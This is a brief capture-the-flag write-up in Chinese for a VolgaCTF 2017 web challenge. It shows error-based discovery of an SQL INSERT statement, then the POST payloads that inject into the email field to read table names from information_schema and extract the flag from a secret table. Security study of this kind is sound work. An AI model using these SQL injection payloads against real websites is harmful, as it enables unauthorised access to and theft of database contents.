題目資訊
Category: Web
Point: 100
Description: Send your feedback at bloody-feedback.quals.2017.volgactf.ru
解法
網站給了一個表單,input欄位分別是 name, email, feedback message,填寫的表單最後會被顯示在公開佈告欄。
使用者發送表單後後端會回傳個隨機網址,點進網址可以查看目前feedback message的狀態,看是不是已經被放到公開佈告欄了。
發送一般的request後,status會顯示not processed
POST: name=a&email=b&message=c
試了一下,在email欄插入'
就會造成error,還可以看到各個input欄位分別是甚麼。
POST: name=a&email=b'&message=c
從上面可以分析出來該sql語句應該是INSERT INTO … VALUE($code, $name, $message, $email, 'not processed')
所以只要把最後的not processed
部分改插我們想要的東西,再來把後面註解掉,就會顯示出來了!
POST: name=a&email=b', 'Hello World!') --&message=c
成功了!先拿table
POST: name=a&email=b', (Select table_name from information_schema.tables limit 1 offset 1)) --&message=c
最後拿flag
POST: name=a&email=b', (SELECT * FROM s3cret_tabl3 limit 1 offset 4)) --&message=c
Flag: VolgaCTF{eiU7UJhyeu@ud3*}